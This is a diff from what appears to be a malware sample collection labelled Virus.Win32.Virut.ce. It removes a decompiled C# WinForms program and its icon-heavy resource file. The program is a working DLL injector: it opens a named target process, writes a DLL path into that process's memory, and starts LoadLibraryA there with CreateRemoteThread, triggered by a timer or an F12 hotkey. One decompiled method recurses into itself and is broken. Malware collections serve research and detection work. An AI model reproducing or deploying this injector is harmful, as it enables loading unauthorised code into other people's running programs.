[MarshalAs(UnmanagedType.VBByRefStr)] ref string lpBuffer, - int nSize, - ref int lpNumberOfBytesWritten); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetProcAddress(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpProcName); - - [DllImport("Kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpModuleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int CreateRemoteThread( - int hProcess, - int lpThreadAttributes, - int dwStackSize, - int lpStartAddress, - int lpParameter, - int dwCreationFlags, - ref int lpThreadId); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int OpenProcess(int dwDesiredAccess, int bInheritHandle, int dwProcessId); - - [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("kernel32", EntryPoint = "CloseHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CloseHandle(int hObject); - - private void Inject() - { - int num1; - int lErl; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - this.Timer1.Stop(); - this.TargetProcessHandle = Form1.OpenProcess(42, 0, Process.GetProcessesByName(this.TextBox1.Text)[0].Id); - this.pszLibFileRemote = this.OpenFileDialog1.FileName; - string lpModuleName = "Kernel32"; - int moduleHandle = Form1.GetModuleHandle(ref lpModuleName); - string str = "LoadLibraryA"; - ref string local1 = ref str; - this.pfnStartAddr = Form1.GetProcAddress(moduleHandle, ref local1); - this.TargetBufferSize = checked (1 + Strings.Len(this.pszLibFileRemote)); - int num3 = Form1.VirtualAllocEx(this.TargetProcessHandle, 0, this.TargetBufferSize, 4096, 4); - int targetProcessHandle1 = this.TargetProcessHandle; - int lpBaseAddress = num3; - ref string local2 = ref this.pszLibFileRemote; - int targetBufferSize = this.TargetBufferSize; - int num4 = 0; - ref int local3 = ref num4; - Form1.WriteProcessMemory(targetProcessHandle1, lpBaseAddress, ref local2, targetBufferSize, ref local3); - int targetProcessHandle2 = this.TargetProcessHandle; - int pfnStartAddr = this.pfnStartAddr; - int lpParameter = num3; - int num5 = 0; - ref int local4 = ref num5; - Form1.CreateRemoteThread(targetProcessHandle2, 0, 0, pfnStartAddr, lpParameter, 0, ref local4); - Form1.CloseHandle(this.TargetProcessHandle); -label_2: - lErl = 1; - this.Show(); - goto label_8; -label_3: - num2 = -1; - switch (num1) - { - case 2: - goto label_2; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex, lErl); - goto label_3; - } - throw ProjectData.CreateProjectError(-2146828237); -label_8: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void OpenFileDialog1_FileOk(object sender, CancelEventArgs e) - { - } - - private void Form1_Load(object sender, EventArgs e) - { - this.Button1.Text = "Browse"; - this.Label1.Text = "Process"; - this.Timer1.Interval = 50; - this.Timer1.Start(); - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (!File.Exists(this.OpenFileDialog1.FileName)) - return; - if (Process.GetProcessesByName(this.TextBox1.Text).Length == 0) - { - this.Label1.Text = "Waiting For " + this.TextBox1.Text + ".exe..."; - } - else - { - this.Timer1.Stop(); - this.Label1.Text = "Succefully Injected!"; - this.Inject(); - if (this.CheckBox1.Checked) - this.Close(); - } - } - - private void Button3_Click(object sender, EventArgs e) - { - int index = checked (this.Dlls.SelectedItems.Count - 1); - while (index >= 0) - { - this.Dlls.Items.Remove(RuntimeHelpers.GetObjectValue(this.Dlls.SelectedItems[index])); - checked { index += -1; } - } - } - - private void Button2_Click(object sender, EventArgs e) => this.Dlls.Items.Clear(); - - private void Button1_Click(object sender, EventArgs e) - { - this.OpenFileDialog1.Filter = "DLL (*.dll) |*.dll|(*.*) |*.*"; - int num = (int) this.OpenFileDialog1.ShowDialog(); - this.Dlls.Items.Add((object) this.OpenFileDialog1.FileName.Substring(this.OpenFileDialog1.FileName.LastIndexOf("\\")).Replace("\\", "")); - } - - private void Button4_Click(object sender, EventArgs e) - { - if (!File.Exists(this.OpenFileDialog1.FileName)) - return; - if (Process.GetProcessesByName(this.TextBox1.Text).Length == 0) - { - this.Label1.Text = "Waiting for " + this.TextBox1.Text + ".exe Injekcjia(F12)..."; - } - else - { - this.Timer1.Stop(); - this.Label1.Text = "Pomyslna Injekcjia!"; - this.Inject(); - if (this.CheckBox1.Checked) - this.Close(); - } - } - - private void CheckBox2_CheckedChanged(object sender, EventArgs e) - { - this.Button4.Enabled = false; - this.Timer1.Enabled = true; - } - - private void CheckBox3_CheckedChanged(object sender, EventArgs e) - { - this.Button4.Enabled = true; - this.Timer1.Enabled = false; - } - - private short GetAsyncKeyState(int vKey) - { - if (this.GetAsyncKeyState(123) != (short) 0 && File.Exists(this.OpenFileDialog1.FileName)) - { - if (Process.GetProcessesByName(this.TextBox1.Text).Length == 0) - { - this.Label1.Text = "Waiting for " + this.TextBox1.Text + ".exe Injekcjia(F12)..."; - } - else - { - this.Timer1.Stop(); - this.Label1.Text = "Succefully Injected!"; - this.Inject(); - } - } - short asyncKeyState; - return asyncKeyState; - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.resx deleted file mode 100644 index 3347479d..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.resx +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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